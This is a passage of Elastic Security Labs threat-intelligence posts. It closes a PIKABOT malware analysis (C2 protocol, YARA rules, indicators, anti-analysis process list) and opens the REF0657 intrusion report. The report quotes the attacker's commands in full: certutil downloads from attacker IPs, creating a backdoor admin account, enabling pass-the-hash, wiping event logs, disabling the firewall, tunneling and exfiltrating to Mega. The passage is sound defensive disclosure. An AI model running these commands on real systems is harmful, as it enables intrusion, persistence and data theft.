<p><img src="https://www.elastic.co/pt/security-labs/assets/images/pikabot-i-choose-you/image4.png" alt="Configuration in plaintext at core runtime" /></p>
<h3>Network</h3>
<p>PIKABOT performs network communication over HTTPS on non-traditional ports (2967, 2223, etc) using User-Agent <code>Microsoft Office/14.0 (Windows NT 6.1; Microsoft Outlook 14.0.7166; Pro)</code>. The build number of the PIKABOT core module is concatenated together from the config and can be found being passed within the encrypted network requests, the version we analyzed is labeled as <code>1.8.32-beta</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/pikabot-i-choose-you/image10.png" alt="New PIKABOT version on the stack" /></p>
<p>On this initial check-in request to the C2 server, PIKABOT registers the bot while sending the previously collected information encrypted with RC4. The RC4 key is sent in this initial packet at offset (<code>0x10</code>). As mentioned previously, PIKABOT no longer uses AES in its network communications.</p>
<pre><code>POST https://158.220.80.167:2967/api/admin.teams.settings.setIcon HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.8
User-Agent: Microsoft Office/14.0 (Windows NT 6.1; Microsoft Outlook 14.0.7166; Pro)
Content-Length: 6778
Host: 158.220.80.167:2967

00001a7600001291000016870000000cbed67c4482a40ad2fc20924a06f614a40256fca898d6d2e88eecc638048874a8524d73037ab3b003be6453b7d3971ef2d449e3edf6c04a9b8a97e149a614ebd34843448608687698bae262d662b73bb316692e52e5840c51a0bad86e33c6f8926eb850c2...
</code></pre>
<p><em>PIKABOT initial check-in request</em></p>
<p>For each outbound network request, PIKABOT randomly chooses one of the following URI’s:</p>
<pre><code>/api/admin.conversations.convertToPrivate
/api/admin.conversations.getConversationPrefs
/api/admin.conversations.restrictAccess.removeGroup
/api/admin.emoji.add
/api/admin.emoji.addAlias
/api/admin.emoji.list
/api/admin.inviteRequests.approved.list
/api/admin.teams.admins.list
/api/admin.teams.settings.setIcon
/api/admin.usergroups.addTeams
/api/admin.users.session.reset
/api/apps.permissions.users.list
</code></pre>
<p><em>List of URI’s used in PIKABOT C2 requests</em></p>
<p>Unlike previous versions by which victim data was placed in a structured format using JSON, the data within these requests are raw bytes. The first 16 bytes are used to pass specific config information (bot command ID, byte shift, etc). The next 32-bytes embed the RC4 key for the session where then the encrypted data is followed in the request.</p>
<p>There is one additional transformation where the developers added a random shift of bytes that occurs at runtime. This number (<code>0x18</code>) at offset (<code>0xF</code>) in the example request below represents the number of bytes to shift from the end of the encrypted data to the start of the encrypted data. In our example, to successfully decrypt the data, the last 18 bytes would need to be placed in front of bytes (<code>0xDA 0x9E</code>).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/pikabot-i-choose-you/image20.png" alt="Hex view of network request on initial check-in" /></p>
<h3>Bot Functionality</h3>
<p>In terms of the core bot functionality, it is similar to previous versions:  executing commands, performing discovery, as well as process injection capabilities. From our perspective, it still seems very much like a work in progress. One command ID (<code>0x982</code>) is an empty function, in another case, there are three unique command ID’s pointed to the same function. These indicate that this software is not quite complete.</p>
<table>
<thead>
<tr>
<th>Command ID</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x1FED</td>
<td>Beacon timeout</td>
</tr>
<tr>
<td>0x1A5A</td>
<td>Exits the PIKABOT process</td>
</tr>
<tr>
<td>0x2672</td>
<td>Includes obfuscation, but appears to not do anything meaningful</td>
</tr>
<tr>
<td>0x246F</td>
<td>Creates file on disk and modifies registry tied to configuration</td>
</tr>
<tr>
<td>0xACB</td>
<td>Command-line execution with output</td>
</tr>
<tr>
<td>0x36C</td>
<td>PE inject in a remote process</td>
</tr>
<tr>
<td>0x792</td>
<td>Shellcode inject in a remote process</td>
</tr>
<tr>
<td>0x359, 0x3A6, 0x240</td>
<td>Command-line execution similar to 0xACB, uses custom error code (0x1B3)</td>
</tr>
<tr>
<td>0x985</td>
<td>Process enumeration, similar to initial victim collection enumeration</td>
</tr>
<tr>
<td>0x982</td>
<td>Empty function</td>
</tr>
</tbody>
</table>
<h3>Malware and MITRE ATT&amp;CK</h3>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h4>Tactics</h4>
<p>Tactics represent the <em>why</em> of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0001">Initial Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010/">Exfiltration</a></li>
</ul>
<h4>Techniques</h4>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1566/">Phishing</a></li>
<li><a href="https://attack.mitre.org/techniques/T1204/001/">User Execution: Malicious Link</a></li>
<li><a href="https://attack.mitre.org/techniques/T1620/">Reflective Code Loading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/">Process Injection</a></li>
<li><a href="https://attack.mitre.org/techniques/T1573/">Encrypted Channel</a></li>
</ul>
<h2>Detecting malware</h2>
<h3>Prevention</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_network_module_loaded_from_suspicious_unbacked_memory.toml">Network Module Loaded from Suspicious Unbacked Memory</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_shellcode_execution_from_low_reputation_module.toml">Shellcode Execution from Low Reputation Module</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_suspicious_memory_write_to_a_remote_process.toml">Suspicious Memory Write to a Remote Process</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_suspicious_remote_memory_allocation.toml">Suspicious Remote Memory Allocation</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_process_creation_with_unusual_mitigation.toml">Process Creation with Unusual Mitigation</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_PikaBot.yar">Windows.Trojan.PikaBot</a></li>
</ul>
<h4>YARA</h4>
<p>Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify <a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_PikaBot.yar">PIKABOT</a>:</p>
<pre><code>rule Windows_Trojan_Pikabot_5441f511 {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2024-02-15&quot;
        last_modified = &quot;2024-02-15&quot;
        license = &quot;Elastic License v2&quot;
        description = &quot;Related to PIKABOT core&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        threat_name = &quot;Windows.Trojan.PIKABOT&quot;

    strings:
        $handler_table = { 72 26 [6] 6F 24 [6] CB 0A [6] 6C 03 [6] 92 07 }
        $api_hashing = { 3C 60 76 ?? 83 E8 20 8B 0D ?? ?? ?? ?? 6B FF 21 }
        $debug_check = { A1 ?? ?? ?? ?? FF 50 ?? 50 50 80 7E ?? 01 74 ?? 83 7D ?? 00 75 ?? }
        $checksum = { 55 89 E5 8B 55 08 69 02 E1 10 00 00 05 38 15 00 00 89 02 5D C3 }
        $load_sycall = { 8F 05 ?? ?? ?? ?? 83 C0 04 50 8F 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 04 A3 ?? ?? ?? ?? 31 C0 64 8B 0D C0 00 00 00 85 C9 }
        $read_xbyte_config = { 8B 43 04 8B 55 F4 B9 FC FF FF FF 83 C0 04 29 D1 01 4B 0C 8D 0C 10 89 4B 04 85 F6 ?? ?? 89 16 89 C3 }
    condition:
        2 of them
}

rule Windows_Trojan_Pikabot_95db8b5a {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2024-02-15&quot;
        last_modified = &quot;2024-02-15&quot;
        license = &quot;Elastic License v2&quot;
        description = &quot;Related to PIKABOT loader&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        threat_name = &quot;Windows.Trojan.PIKABOT&quot;

    strings:
        $syscall_ZwQueryInfoProcess = { 68 9B 8B 16 88 E8 73 FF FF FF }
        $syscall_ZwCreateUserProcess = { 68 B2 CE 2E CF E8 5F FF FF FF }
        $load_sycall = { 8F 05 ?? ?? ?? ?? 83 C0 04 50 8F 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 04 A3 ?? ?? ?? ?? 31 C0 64 8B 0D C0 00 00 00 85 C9 }
        $payload_chunking = { 8A 84 35 ?? ?? ?? ?? 8A 95 ?? ?? ?? ?? 88 84 1D ?? ?? ?? ?? 88 94 35 ?? ?? ?? ?? 02 94 1D ?? ?? ?? ?? }
        $loader_rc4_decrypt_chunk = { F7 FF 8A 84 15 ?? ?? ?? ?? 89 D1 8A 94 1D ?? ?? ?? ?? 88 94 0D ?? ?? ?? ?? 8B 55 08 88 84 1D ?? ?? ?? ?? 02 84 0D ?? ?? ?? ?? 0F B6 C0 8A 84 05 ?? ?? ?? ?? 32 04 32 }
    condition:
        2 of them
}
</code></pre>
<h2>Observations</h2>
<p>All observables are also available for <a href="https://github.com/elastic/labs-releases/tree/main/indicators/pikabot">download</a> in both ECS and STIX format.</p>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>2f66fb872c9699e04e54e5eaef982784b393a5ea260129a1e2484dd273a5a88b</code></td>
<td>SHA-256</td>
<td><code>Opc.zip</code></td>
<td>Zip archive holding obfuscated Javascript</td>
</tr>
<tr>
<td><code>ca5fb5814ec62c8f04936740aabe2664b3c7d036203afbd8425cd67cf1f4b79d</code></td>
<td>SHA-256</td>
<td><code>grepWinNP3.exe</code></td>
<td>PIKABOT loader</td>
</tr>
<tr>
<td><code>139.84.237[.]229:2967</code></td>
<td>ipv4-addr</td>
<td></td>
<td>PIKABOT C2 server</td>
</tr>
<tr>
<td><code>85.239.243[.]155:5000</code></td>
<td>ipv4-addr</td>
<td></td>
<td>PIKABOT C2 server</td>
</tr>
<tr>
<td><code>104.129.55[.]104:2223</code></td>
<td>ipv4-addr</td>
<td></td>
<td>PIKABOT C2 server</td>
</tr>
<tr>
<td><code>37.60.242[.]85:9785</code></td>
<td>ipv4-addr</td>
<td></td>
<td>PIKABOT C2 server</td>
</tr>
<tr>
<td><code>95.179.191[.]137:5938</code></td>
<td>ipv4-addr</td>
<td></td>
<td>PIKABOT C2 server</td>
</tr>
<tr>
<td><code>65.20.66[.]218:5938</code></td>
<td>ipv4-addr</td>
<td>PIKABOT C2 server</td>
<td></td>
</tr>
<tr>
<td><code>158.220.80[.]157:9785</code></td>
<td>ipv4-addr</td>
<td>PIKABOT C2 server</td>
<td></td>
</tr>
<tr>
<td><code>104.129.55[.]103:2224</code></td>
<td>ipv4-addr</td>
<td>PIKABOT C2 server</td>
<td></td>
</tr>
<tr>
<td><code>158.220.80[.]167:2967</code></td>
<td>ipv4-addr</td>
<td>PIKABOT C2 server</td>
<td></td>
</tr>
<tr>
<td><code>entrevientos.com[.]ar</code></td>
<td>domain</td>
<td></td>
<td>Hosting infra for zip archive</td>
</tr>
<tr>
<td><code>gloverstech[.]com</code></td>
<td>domain</td>
<td></td>
<td>Hosting infra for PIKABOT loader</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://www.zscaler.com/blogs/security-research/d-evolution-pikabot">https://www.zscaler.com/blogs/security-research/d-evolution-PIKABOT</a></li>
<li><a href="https://x.com/Cryptolaemus1/status/1755655639370514595?s=20">https://x.com/Cryptolaemus1/status/1755655639370514595?s=20</a></li>
</ul>
<h2>Appendix</h2>
<pre><code>Process Name Checks
tcpview.exe
filemon.exe
autoruns.exe
autorunsc.exe
ProcessHacker.exe
procmon.exe
procexp.exe
idaq.exe
regmon.exe
idaq64.exe


x32dbg.exe
x64dbg.exe
Fiddler.exe
httpdebugger.exe
cheatengine-i386.exe
cheatengine-x86_64.exe
cheatengine-x86_64-SSE4-AVX2.exe


PETools.exe
LordPE.exe
SysInspector.exe
proc_analyzer.exe
sysAnalyzer.exe
sniff_hit.exe
windbg.exe
joeboxcontrol.exe
joeboxserver.exe
ResourceHacker.exe


ImmunityDebugger.exe
Wireshark.exe
dumpcap.exe
HookExplorer.exe
ImportREC.exe
</code></pre>]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/pikabot-i-choose-you/photo-edited-02.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[Unmasking a Financial Services Intrusion: REF0657]]></title>
            <link>https://www.elastic.co/pt/security-labs/unmasking-financial-services-intrusion-ref0657</link>
            <guid>unmasking-financial-services-intrusion-ref0657</guid>
            <pubDate>Wed, 31 Jan 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs details an intrusion leveraging open-source tooling and different post-exploitation techniques targeting the financial services industry in South Asia.]]></description>
            <content:encoded><![CDATA[<h2>Preamble</h2>
<p>In December of 2023, Elastic Security Labs detected a smash-and-grab style intrusion directed at a financial services organization in South Asia. Throughout the breach, a diverse set of open-source tools were employed within the victim's environment, some of which we encountered for the first time. The threat group engaged in different post-compromise activities: from discovery/enumeration to utilizing the victim's internal enterprise software against them and eventually leveraging different tunnelers and side-loading techniques to execute Cobalt Strike. In addition, the adversary used the file hosting service Mega to exfiltrate data from the network.</p>
<p>By disclosing the details of this intrusion set (REF0657) and the various tactics, techniques, and procedures (TTPs), we hope to assist fellow defenders and organizations in recognizing and monitoring this type of activity.</p>
<h3>Key takeaways</h3>
<ul>
<li>REF0657 targeted financial services in South Asia</li>
<li>This group leveraged a broad range of post-compromise behaviors, including backdoor access using Microsoft SQL Server, dumping credentials, wiping event logs, and exfiltrating data using MEGA CMD</li>
<li>The activity included an assortment of network tunnelers and proxy tools as well as Cobalt Strike and ties to infrastructure using the C2 framework, Supershell</li>
</ul>
<h2>Campaign analysis</h2>
<p>Our team identified the initial enumeration happening in a customer environment on December 17, 2023. While we didn't have visibility around the root cause of the infection, we continued to monitor the environment. Over the next several weeks, we discovered seven different hosts, mainly servers, exhibiting a large swath of activity, including:</p>
<ul>
<li>Discovery/enumeration</li>
<li>Downloading additional tools/components</li>
<li>Renaming and staging tools in legitimate folder locations in the environment</li>
<li>Dumping credentials from the registry and adding users to machines</li>
<li>Modifying the environment to enable lateral movement and persistence</li>
<li>Executing proxy tunnelers and shellcode to maintain access into the environment</li>
<li>Compressing and exfiltrating data using cloud services provider Mega</li>
<li>Wiping event logs on multiple machines</li>
</ul>
<h2>Execution Flow / Timeline</h2>
<p>A significant portion of the activity observed by our team came through command-line execution abusing Microsoft SQL Server (<code>sqlservr.exe</code>). While we couldn’t pinpoint the root cause, we have reason to believe the attacker gained access to the environment through this remotely accessible server and then started executing commands and running programs using the MSSQL’s stored procedure (<code>xp_cmdshell</code>). This initial endpoint served as the beachhead of the attack where all activity seemed to originate from here.</p>
<h3>Discovery/Enumeration/Staging</h3>
<p>The threat actor used several standard Windows utilities for initial discovery and enumeration. The following graphic shows the different commands spawned from the parent process (<code>sqlservr.exe</code>):</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/unmasking-financial-services-intrusion-ref0657/image9.png" alt="Observed command-lines associated with discovery" title="Observed command-lines associated with discovery" /></p>
<p>Oftentimes, the attacker checked to verify their payloads were running, reviewed network connections on victim machines, and performed directory listings to check on their different files.</p>
<p>After initial access was gained, the actor tried several methods for downloading additional payloads and tooling. The adversary started to use <code>certutil.exe</code> and then moved to <code>bitsadmin.exe</code>, PowerShell’s <code>DownloadFile()</code> method, and eventually back to <code>certutil.exe</code>. These different tools interacted with IP addresses (<code>149.104.23[.]17</code> and <code>206.237.3[.]150</code>).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/unmasking-financial-services-intrusion-ref0657/image10.png" alt="Observed command-lines associated with staging" title="Observed command-lines associated with staging" /></p>
<h3>Lateral Movement + Persistence</h3>
<p>As the actors moved in the environment, they leveraged remote SMB and WMI to create a local administrator account named &quot;helpdesk&quot; on each machine. In some cases, they set up a randomly named Windows service (<code>qLVAMxSGzP</code>) as a persistence mechanism. This service would execute a temporary batch file with commands to add a local user and insert this user into the local administrator group. After execution, the file would then be deleted.</p>
<pre><code>%COMSPEC% /Q /c echo net user helpdesk P@ssw0rd /add &amp;&amp; \ 
net localgroup administrators helpdesk /add \ 
^&gt; \\127.0.0.1\C$\FOUGTZ 2^&gt;^&amp;1 &gt; %TEMP%\VOruiL.bat &amp; \ 
%COMSPEC% /Q /c %TEMP%\VOruiL.bat &amp; %COMSPEC% /Q /c del %TEMP%\VOruiL.bat
</code></pre>
<h3>Execution</h3>
<p>The adversary moved to Cobalt Strike for C2 and further execution. This time, they used a legitimately signed version of Trend Micro’s Deep Security Monitor (<code>ds_monitor.exe</code>). This was used to load Cobalt Strike by side-loading a malicious DLL (<code>msvcp140.dll</code>). We observed the download of the DLL from a <code>certutil.exe</code> execution, and then we confirmed this behavior via call stack telemetry.</p>
<pre><code>&quot;C:\Windows\system32\cmd.exe&quot; /c certutil -urlcache -split -f \ 
ht&quot;&quot;&quot;&quot;tp://206.237.3[.]150:443/1.txt \ 
C:\users\public\downloads\msvcp140.dll
</code></pre>
<p>The screenshot below shows that the actor placed the TrendMicro application inside a directory labeled McAfee in ProgramData. We can see the malicious DLL being loaded from the same directory by checking the call stack.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/unmasking-financial-services-intrusion-ref0657/image2.png" alt="Malicious DLL side-loading of msvcp140.dll" title="Malicious DLL side-loading of msvcp140.dll" /></p>
<p>Shortly after, Run Key persistence was added to execute (<code>ds_monitor.exe</code>) on system startup.</p>
<pre><code>reg  add &quot;HKLM\Software\Microsoft\Windows\CurrentVersion\Run&quot; /v \ 
TrendMicro /t REG_SZ /d \ 
&quot;C:\ProgramData\McAfee\TrendMicro\ds_monitor.exe&quot; /f /reg:64
</code></pre>
<p>An analysis on <code>msvcp140.dll</code> reveals that the threat actor tampered with the DllEntryPoint of the legit Windows DLL by substituting it with modified code sourced from a public <a href="https://github.com/ShadowMccc/MemoryEvasion">repository</a> - this is a custom Cobalt Strike memory evasion loader.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/unmasking-financial-services-intrusion-ref0657/image6.png" alt="Decompiled Sleep Obfuscation loading Cobalt Strike" title="Decompiled Sleep Obfuscation loading Cobalt Strike" /></p>
<p>While the original code retrieved the Cobalt Strike beacon from memory, the altered version loads a beacon in base64 format from a file named <code>config.ini</code> that connects to <code>msedge[.]one</code>.</p>
<h3>Dumping credentials</h3>
<p>One of the main methods observed for gathering credentials was dumping the Security Account Manager (SAM) registry hive on different servers.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/unmasking-financial-services-intrusion-ref0657/image11.png" alt="Events showing SAM registry dump" title="Events showing SAM registry dump" /></p>
<h3>Network/Registry/Logging Modifications</h3>
<p>The threat actor modified several different configurations and settings to help further increase their access to the environment. One of our first observations of this behavior was <a href="https://learn.microsoft.com/en-us/windows-hardware/customize/desktop/unattend/microsoft-windows-terminalservices-localsessionmanager-fdenytsconnections">enabling RDP</a> (set value to 0) through the registry at the following path (<code>HKLM\SYSTEM\ControlSet001\Control\Terminal Server\fDenyTSConnections)</code>. Then, they disabled the Windows Firewall rules using the command:<code> NetSh Advfirewall set allprofiles state off</code>.</p>
<p>Afterward, they enabled <a href="https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn408190(v=ws.11)#restricted-admin-mode-for-remote-desktop-connection">Restricted Admin</a> mode through a registry modification, this allowed the adversary to conduct pass-the-hash style attacks against Remote Desktop Protocol (RDP).</p>
<pre><code>cmd.exe /Q /c REG ADD &quot;HKLM\System\CurrentControlSet\Control\Lsa&quot; \ 
/v DisableRestrictedAdmin /t REG_DWORD /d 00000000 \ 
/f 1&gt; \\127.0.0.1\C$\Windows\Temp\RExePi 2&gt;&amp;1
</code></pre>
<p>In addition to these changes, the attacker also wiped the Windows event logs for System and Security notifications using the Windows Event Utility, <code>wevtutil.exe</code>:</p>
<pre><code>cmd.exe /Q /c wevtutil.exe cl System 1&gt; \ 
\\127.0.0.1\C$\Windows\Temp\ksASGt 2&gt;&amp;1

cmd.exe /Q /c wevtutil.exe cl Security 1&gt; \ 
\\127.0.0.1\C$\Windows\Temp\uhxJiw 2&gt;&amp;1
</code></pre>
<h3>Tunneling/Proxy Tools</h3>
<p>After a day of initial access, the adversary generated several shellcode injection alerts using <code>AppLaunch.exe</code> (a binary that manages and executes applications built with Microsoft's .NET Framework) and outputting the results to a file called <code>1.txt</code>. The command line argument associated with this alert is as follows: <code>c:\programdata\AppLaunch.exe proxy -r 206.237.0[.]49:12355 &gt;&gt; 1.txt</code></p>
<p>After examining the injected code, we identified the shellcode as a Golang binary known as <code>iox</code>, which can be compiled from the following publicly available <a href="https://github.com/EddieIvan01/iox">repository</a>. This tool is designed for port forwarding and proxying with additional features such as traffic encryption. Based on the observed command line, the attacker established a proxy connection to <code>206.237.0[.]49</code> on port <code>12355</code>.</p>
<p>Intended or not, the proxy utility was launched by several different legitimate processes: <code>lsass.exe</code>, <code>vmtoolsd.exe</code>, and <code>mctray.exe</code>. In this case, the threat actor side-loaded a common malicious unsigned DLL (<code>mscoree.dll</code>) located in the <code>C:\programdata\</code> directory.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/unmasking-financial-services-intrusion-ref0657/image5.png" alt="Malicious DLL side-loading of mscoree.dll" title="Malicious DLL side-loading of mscoree.dll" /></p>
<p>The actor employed another proxy known as <a href="https://github.com/Mob2003/rakshasa">Rakshasa</a>, downloaded directly from the tool's official GitHub page using the <code>certutil</code> command. It was stored in <code>c:\users\public\downloads\ra.exe</code>, and then executed with the following command:
<code>C:\Windows\system32\cmd.exe /C C:\Users\Public\Downloads\ra.exe -d 149.104.23[.]176:80</code>.</p>
<p>This command creates a proxy tunnel to the threat actor infrastructure, connecting to the IP address <code>149.104.23.176</code> on port <code>80</code>. If that wasn’t enough, the actor started to send and retrieve data from the network through ICMP tunneling. For example, when the actor executed the tasklist command, the output was saved to <code>C:\programdata\re.txt</code>, and exfiltrated through ICMP using PowerShell.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/unmasking-financial-services-intrusion-ref0657/image8.png" alt="ICMP tunneling script using PowerShell" title="ICMP tunneling script using PowerShell" /></p>
<h3>Exfiltration</h3>
<p>One of the more noteworthy parts of this intrusion was centered around the adversary downloading <a href="https://mega.io/cmd">MEGA Cmd</a>, a command-line utility that works with the Mega file hosting service. While still leveraging MSSQL, they downloaded this program, renaming it to <code>ms_edge.exe</code>.</p>
<pre><code>&quot;C:\Windows\system32\cmd.exe&quot; /c certutil -urlcache -split -f \ 
ht&quot;&quot;&quot;&quot;tp://206.237.3.150:443/megacmd.exe \ 
C:\users\public\downloads\ms_edge.exe
</code></pre>
<p>Shortly after, we observed this utility being executed with an argument to a configuration file (called <code>tmp</code>) and a compressed file stored with a backup extension (<code>.bak</code>) being used in conjunction with Mega.</p>
<pre><code>C:\users\public\downloads\ms_edge.exe  --config \ 
C:\users\public\downloads\tmp copy \ 
REDACTED_FILENAME.bak mega_temp:
</code></pre>
<h3>Infrastructure</h3>
<p>Throughout this investigation, the threat group used several servers to host their payloads or forward network traffic. The Elastic Security Labs team discovered two web servers with open directories hosting files publicly reachable on:</p>
<ul>
<li><code>206.237.3[.]150</code></li>
<li><code>206.237.0[.]49</code></li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/unmasking-financial-services-intrusion-ref0657/image3.png" alt="Open directory at 206.237.3[.]150" title="Open directory at 206.237.3[.]150" /></p>
<p>In addition, our team observed <a href="https://github.com/tdragon6/Supershell/tree/main">Supershell</a> panel, a Chinese-based C2 platform running on <code>206.237.[0].49:8888</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/unmasking-financial-services-intrusion-ref0657/image1.png" alt="Supershell Panel on 206.237.0[.]49" title="Supershell Panel on 206.237.0[.]49" /></p>
<p>We validated an earlier finding in the previous section when we found a configuration file (referred to as <code>tmp</code> in the Exfiltration section) used for automation with the Mega platform containing credentials used by the adversary. As well, there was a variety of web shell files and scripts originating from the following public repositories:</p>
<ul>
<li><a href="https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md#abusing-ssrf-in-aws-ec2-environment">https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md#abusing-ssrf-in-aws-ec2-environment</a></li>
<li><a href="https://github.com/tutorial0/WebShell/blob/master/Aspx/ASPXspy.aspx">https://github.com/tutorial0/WebShell/blob/master/Aspx/ASPXspy.aspx</a></li>
<li><a href="https://github.com/L-codes/Neo-reGeorg/blob/master/templates/tunnel.ashx">https://github.com/L-codes/Neo-reGeorg/blob/master/templates/tunnel.ashx</a></li>
</ul>
<p>Furthermore, within these directories, we identified a few interesting binaries:</p>
<p><strong>cloud_init</strong></p>
<p>One of the files (<code>cloud_init</code>) is a Golang ELF binary packed with UPX. After inspection, it was determined that it was compiled from the <a href="https://github.com/ehang-io/nps/tree/master">NPS repository</a>, another intranet proxy server compatible with most common protocols. The threat actor altered the code to encrypt the strings during compilation. The decryption process uses separate byte arrays where the bytes of one array are combined with the bytes of the other array, employing operations such as addition, XOR, or subtraction for the decryption.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/unmasking-financial-services-intrusion-ref0657/image4.png" alt="NPS string obfuscation example" title="NPS string obfuscation example" /></p>
<p><strong>MSASN1.dll</strong></p>
<p>After review, this DLL matched the same functionality/code as the previously discussed file (<code>msvcp140.dll</code>).</p>
<h3>REF0657 through MITRE ATT&amp;CK</h3>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h4>Tactics</h4>
<p>Tactics represent the why of a technique or sub-technique. The adversary’s tactical goal is the reason for performing an action. The tactics observed in REF0657 were:</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0008/">Lateral Movement</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003/">Persistence</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010/">Exfiltration</a></li>
</ul>
<h4>Techniques</h4>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action. Elastic Security Labs observed the following techniques within REF0657:</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1059/003/">Command and Scripting Interpreter: Windows Command Shell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1218/">System Binary Proxy Execution</a></li>
<li><a href="https://attack.mitre.org/techniques/T1036/">Masquerading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1140/">Deobfuscate/Decode Files or Information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1047/">Windows Management Instrumentation</a></li>
<li><a href="https://attack.mitre.org/techniques/T1105/">Ingress Tool Transfer</a></li>
<li><a href="https://attack.mitre.org/techniques/T1574/002/">Hijack Execution Flow: DLL Side-Loading</a></li>
</ul>
<h2>Summary</h2>
<p>In summary, this intrusion highlighted some new tooling while re-emphasizing that not all intrusions are dictated by novel malware and techniques. These types of threats demonstrate the real-world challenges most organizations are faced with daily.</p>
<p>The threat group moved very quickly in this environment, where within almost 24 hours, meaningful data to the attacker was extracted from the network. Sharing some of these details can help defenders plug possible holes or gaps in coverage from some of these techniques.</p>
<h3>The Diamond Model</h3>
<p>Elastic Security Labs utilizes the <a href="https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf">Diamond Model</a> to describe high-level relationships between the adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions, and leveraging Activity Threading (section 8) as a way to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a, although cluttered, single diamond.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/unmasking-financial-services-intrusion-ref0657/image7.png" alt="REF0657 - Diamond Model" title="REF0657 - Diamond Model" /></p>
<h2>Detecting REF0657</h2>
<p>The following detection rules and behavior prevention events were observed throughout the analysis of this intrusion set:</p>
<h3>Detection</h3>
<ul>
<li><a href="https://www.elastic.co/pt/guide/en/security/current/direct-outbound-smb-connection.html#direct-outbound-smb-connection">Direct Outbound SMB Connection</a></li>
<li><a href="https://www.elastic.co/pt/guide/en/security/current/execution-via-mssql-xp-cmdshell-stored-procedure.html">Execution via MSSQL xp_cmdshell Stored Procedure</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_execution_via_renamed_signed_binary_proxy.toml">Execution via Renamed Signed Binary Proxy</a></li>
<li><a href="https://www.elastic.co/pt/guide/en/security/current/potential-remote-credential-access-via-registry.html">Potential Remote Credential Access via Registry</a></li>
